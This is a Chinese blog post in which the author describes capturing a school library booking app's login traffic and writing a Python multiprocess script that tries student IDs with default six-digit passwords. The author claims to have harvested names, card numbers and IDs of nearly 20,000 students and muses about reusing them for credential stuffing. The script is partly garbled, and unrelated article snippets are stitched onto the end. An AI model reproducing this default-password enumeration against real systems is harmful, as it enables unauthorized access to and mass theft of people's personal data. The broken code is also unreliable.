記錄一次我是如何爬了某學校近2w學生資訊的!

2021-08-26 17:48:48 字數 3118 閱讀 4237

背景:某學校圖書館為了防止佔位,新出來乙個軟體,用於軟體預約坐位,就想寫個定時軟體來每天預約坐位,把軟體要來看看怎麼實現。這個軟體可能剛上線所以很多邏輯有bug,直接返回json包含了所有資訊,而且軟體預設為學生號後六位登陸。**實現用python,多程序+協程處理。

抓包:開啟fiddler抓包,這個就不教程了,如圖一,直接抓post登陸資料報,可以很容易發現,太low了吧。。。返回的資訊都太全了,有什麼不知道的呢?伺服器都還是ip直連。出於對別人和軟體的隱私,對進行處理。

圖一:抓post資料

雖然軟體有確認資訊驗證,但是你資訊都返回到json了,就像赤裸裸的美女在哪跳鋼管舞,吭~~反正就那個意思,這有什麼用呢?只要沒有改過密碼的學生或者是只是改了簡單的6位密碼的學生,那豈不是資訊都暴露了?

爬蟲:想到這裡,那豈不動手試試?ps:這裡本人只是嘗試,無意拉去個人資訊,且資訊無保留,僅作提供bug反饋。

那就模擬post直接把學號+學號後6位跑一遍,把學生的姓名,學生卡號,學生號,學生id全部輸出出來吧。**實現如下:

# -*- coding:utf-8 -*-

__author__ = 'longsir'

__date__ = '#=2018/8/31 13:53'

import requests,gevent

import json

import multiprocessing

import sys

reload(sys)

sys.setdefaultencoding('utf8')

def for_id(start_id,end_id):#迴圈學生id後6位

for id in range(start_id,end_id):

list = #建立乙個列表

userphysicalcard = str(id).zfill(6)#設定6位數,前面不足補0

t1=gevent.spawn(check_login,list)#建立乙個協程,用於加快爬取速度

t1.join()

def fetch(post_body):#post登陸資料,抓取資料。

q.json()['result_data']['studentcard'] + '----' + str(q.json()['result_data']['userid'])) #列印需要的資料

# else:

# print(userphysicalcard+'----密碼錯誤')

def check_login(list): #用於生成請求資料body

tasks= #定義個協程列表

for userphysicalcard in list: #把傳過來的資料進行便利,仍進post_body裡

post_body = }

gevent.joinall(tasks)#多協程操作

if __name__ == '__main__':

#starttime = datetime.datetime.now()

process_list= #啟動多程序

p1 = multiprocessing.process(target=for_id, args=(210001, 300000,))

p2 = multiprocessing.process(target=for_id, args=(300000, 400000,))

p3 = multiprocessing.process(target=for_id, args=(400000, 500000,))

p4 = multiprocessing.process(target=for_id, args=(500000, 600000,))

p5 = multiprocessing.process(target=for_id, args=(600000, 700000,))

p6 = multiprocessing.process(target=for_id, args=(700000, 800000,))

p7 = multiprocessing.process(target=for_id, args=(800000, 900000,))

p8 = multiprocessing.process(target=for_id, args=(900000, 1000000,))

#生成多程序,加快爬取速度

for p in process_list:

p.start()

for p in process_list:

p.join()

# p1.start()

# p2.start()

然後執行該簡單的爬蟲,把結果重定向處理。

結語:

用這麼簡單的指令碼,我竟然爬了近2w的學生資料【如圖二】,一共四屆學生的全部資訊,有了這些資訊我能做什麼?不用我說了吧,輕點的我可以掌握這部分學生的部分校園資訊,重點的我甚至可以撞庫,相信大部分大學生為了省事把各種密碼就設定成學號後6位吧?雖然沒有學生的身份證資訊,但是誰有能確認利用這些資訊不能獲取到呢???

圖二:部分學生資訊圖

2. 如何加強防範?長點心啊,這些資訊為啥返回,不能隱藏後台校驗嗎?為什麼不設定反爬蟲機制?我乙個ip爬了2w的資訊,為什麼不封我ip呢?為什麼不設定成身份證後6位密碼,而是僅僅簡單的學號後6位呢?

3. 此篇文章並沒有多大技術含量,僅以此文章反饋貴校軟體存在的問題。希望貴校重視此問題並及時修復。

記錄一次使用jsoup爬取頁面

第一次了解爬蟲,首先要引入乙個jar包 org.projectlombok groupid lombok artifactid true optional dependency org.jsoup groupid jsoup artifactid 1.10 2 version dependency ...

我的第一次爬網頁經歷

之前我從來沒有爬過網頁,一直對scrapy很好奇,這周一粽子讓我去爬一下 的工單管理 已提交結果工單 舉報內容摘要 來電時間,一共有100多條,看起來需要一條一條點開才行。我之前對網頁有了一點小小的積累,大致明白了cookie,post,get,html這方面的知識,因此覺得應該是能夠勝任的,因此就...

記錄一次某app逆向登陸協議分析

首先看下登陸的資料 這裡使用查殼工具看到 加固方式是愛加密免費版加固 加固的話就沒辦法用androidkiller進行反編譯了,首先得把加固給破了 經過一系列的脫殼操作,直接把dex丟進jadx分析,老方法,首先搜尋下請求路徑 定位到這個函式,看到關鍵字眼encodephone,初步猜測 是先把手機...